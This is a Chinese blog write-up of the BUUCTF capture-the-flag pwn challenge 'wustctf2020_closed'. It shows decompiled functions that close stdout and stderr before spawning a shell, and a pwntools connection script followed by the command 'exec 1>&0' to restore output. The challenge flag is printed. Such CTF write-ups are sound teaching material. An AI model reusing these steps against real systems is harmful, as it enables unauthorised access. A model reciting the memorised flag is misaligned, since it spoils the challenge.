[buuctf]wustctf2020_closed

本文解析了wustctf2020_closed挑战中的一个64位无壳可执行文件,通过IDA分析了其main、init及vulnerable函数。利用重定向技巧绕过限制获取flag。

摘要生成于 C知道 ,由 DeepSeek-R1 满血版支持, 前往体验 >

wustctf2020_closed

解析

还是第一步进行查壳,发现是无壳的64位的可执行文件,之后进入ida中查看main函数。

int __cdecl main(int argc, const char **argv, const char **envp)
{
  init();
  vulnerable();
  return 0;
}

第一个函数里面就是最开始运行的那个界面。

int init()
{
  alarm(0x20u);
  setvbuf(stdout, 0LL, 2, 0LL);
  setvbuf(stdin, 0LL, 2, 0LL);
  return puts(
           "   __  ___    ______   ___    \n"
           "  /  |/  /__ /_  __/__<  /_ __\n"
           " / /|_/ / _ `// / / __/ /\\ \\ /\n"
           "/_/  /_/\\_,_//_/ /_/ /_//_\\_\\ \n");
}

在这里插入图片描述
之后是第二个函数。

int vulnerable()
{
  puts("HaHaHa!\nWhat else can you do???");
  close(1);
  close(2);
  return shell();
}

之后查看了close()这个函数的作用是什么,发现是1是正常输出,2是错误输出,之后返回的是shell,那么我们直接进行重定向进行输出即可参考文章链接: linux重定向,运行起来之后输入exec 1>&0即可

脚本

先用pwntools进行远程,之后手动输入exec 1>&0
获得的flag是flag{b755c682-c167-4e3c-9524-3b16f16becf6}
第一步:

from pwn import *
context(os = 'linux',arch = 'arm64',log_level = 'debug')
p = remote('node4.buuoj.cn',29258)
p.interactive()

第二步:
在这里插入图片描述
第三步:
在这里插入图片描述

评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包

打赏作者

逆向萌新

你的鼓励将是我创作的最大动力

¥1 ¥2 ¥4 ¥6 ¥10 ¥20
扫码支付:¥1
获取中
扫码支付

您的余额不足,请更换扫码支付或充值

打赏作者

实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值